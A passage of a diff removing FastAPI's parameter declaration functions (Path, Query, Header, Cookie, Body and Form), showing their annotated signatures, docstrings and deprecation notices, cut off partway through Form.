Doc( - """ - Maximum length for strings. - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - """ - Declare a path parameter for a *path operation*. - - Read more about it in the - [FastAPI docs for Path Parameters and Numeric Validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/). - - ```python - from typing import Annotated - - from fastapi import FastAPI, Path - - app = FastAPI() - - - @app.get("/items/{item_id}") - async def read_items( - item_id: Annotated[int, Path(title="The ID of the item to get")], - ): - return {"item_id": item_id} - ``` - """ - return params.Path( - default=default, - default_factory=default_factory, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def Query( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#alternative-old-query-as-the-default-value) - """ - ), - ] = Undefined, - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#alias-parameters) - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#declare-more-metadata) - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#declare-more-metadata) - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/) - """ - ), - ] = None, - max_length: Annotated[ - int | None, - Doc( - """ - Maximum length for strings. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/) - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#add-regular-expressions - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#deprecating-parameters) - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs about Query parameters](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - return params.Query( - default=default, - default_factory=default_factory, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def Header( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - """ - ), - ] = Undefined, - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - convert_underscores: Annotated[ - bool, - Doc( - """ - Automatically convert underscores to hyphens in the parameter field name. - - Read more about it in the - [FastAPI docs for Header Parameters](https://fastapi.tiangolo.com/tutorial/header-params/#automatic-conversion) - """ - ), - ] = True, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - """ - ), - ] = None, - max_length: Annotated[ - int | None, - Doc( - """ - Maximum length for strings. - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - return params.Header( - default=default, - default_factory=default_factory, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - convert_underscores=convert_underscores, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def Cookie( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - """ - ), - ] = Undefined, - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - """ - ), - ] = None, - max_length: Annotated[ - int | None, - Doc( - """ - Maximum length for strings. - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - return params.Cookie( - default=default, - default_factory=default_factory, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def Body( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - """ - ), - ] = Undefined, - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - embed: Annotated[ - bool | None, - Doc( - """ - When `embed` is `True`, the parameter will be expected in a JSON body as a - key instead of being the JSON body itself. - - This happens automatically when more than one `Body` parameter is declared. - - Read more about it in the - [FastAPI docs for Body - Multiple Parameters](https://fastapi.tiangolo.com/tutorial/body-multiple-params/#embed-a-single-body-parameter). - """ - ), - ] = None, - media_type: Annotated[ - str, - Doc( - """ - The media type of this parameter field. Changing it would affect the - generated OpenAPI, but currently it doesn't affect the parsing of the data. - """ - ), - ] = "application/json", - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - """ - ), - ] = None, - max_length: Annotated[ - int | None, - Doc( - """ - Maximum length for strings. - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - dict[str, Example] | None, - Doc( - """ - OpenAPI-specific examples. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Swagger UI (that provides the `/docs` interface) has better support for the - OpenAPI-specific examples than the JSON Schema `examples`, that's the main - use case for this. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/#using-the-openapi_examples-parameter). - """ - ), - ] = None, - deprecated: Annotated[ - deprecated | str | bool | None, - Doc( - """ - Mark this parameter field as deprecated. - - It will affect the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) this parameter field in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - json_schema_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Any additional JSON schema data. - """ - ), - ] = None, - **extra: Annotated[ - Any, - Doc( - """ - Include extra fields used by the JSON Schema. - """ - ), - deprecated( - """ - The `extra` kwargs is deprecated. Use `json_schema_extra` instead. - """ - ), - ], -) -> Any: - return params.Body( - default=default, - default_factory=default_factory, - embed=embed, - media_type=media_type, - alias=alias, - alias_priority=alias_priority, - validation_alias=validation_alias, - serialization_alias=serialization_alias, - title=title, - description=description, - gt=gt, - ge=ge, - lt=lt, - le=le, - min_length=min_length, - max_length=max_length, - pattern=pattern, - regex=regex, - discriminator=discriminator, - strict=strict, - multiple_of=multiple_of, - allow_inf_nan=allow_inf_nan, - max_digits=max_digits, - decimal_places=decimal_places, - example=example, - examples=examples, - openapi_examples=openapi_examples, - deprecated=deprecated, - include_in_schema=include_in_schema, - json_schema_extra=json_schema_extra, - **extra, - ) - - -def Form( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - """ - ), - ] = Undefined, - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - media_type: Annotated[ - str, - Doc( - """ - The media type of this parameter field. Changing it would affect the - generated OpenAPI, but currently it doesn't affect the parsing of the data. - """ - ), - ] = "application/x-www-form-urlencoded", - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - """ - ), - ] = None, - max_length: Annotated[ - int | None, - Doc( - """ - Maximum length for strings. - """ - ), - ] = None, - pattern: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - ] = None, - regex: Annotated[ - str | None, - Doc( - """ - RegEx pattern for strings. - """ - ), - deprecated( - "Deprecated in FastAPI 0.100.0 and Pydantic v2, use `pattern` instead." - ), - ] = None, - discriminator: Annotated[ - str | None, - Doc( - """ - Parameter field name for discriminating the type in a tagged union. - """ - ), - ] = None, - strict: Annotated[ - bool | None, - Doc( - """ - If `True`, strict validation is applied to the field. - """ - ), - ] = _Unset, - multiple_of: Annotated[ - float | None, - Doc( - """ - Value must be a multiple of this. Only applicable to numbers. - """ - ), - ] = _Unset, - allow_inf_nan: Annotated[ - bool | None, - Doc( - """ - Allow `inf`, `-inf`, `nan`. Only applicable to numbers. - """ - ), - ] = _Unset, - max_digits: Annotated[ - int | None, - Doc( - """ - Maximum number of digits allowed for decimal values. - """ - ), - ] = _Unset, - decimal_places: Annotated[ - int | None, - Doc( - """ - Maximum number of decimal places allowed for decimal values. - """ - ), - ] = _Unset, - examples: Annotated[ - list[Any] | None, - Doc( - """ - Example values for this field. - - Read more about it in the - [FastAPI docs for Declare Request Example Data](https://fastapi.tiangolo.com/tutorial/schema-extra-example/) - """ - ), - ] = None, - example: Annotated[ - Any | None, - deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = _Unset, - openapi_examples: Annotated[ - 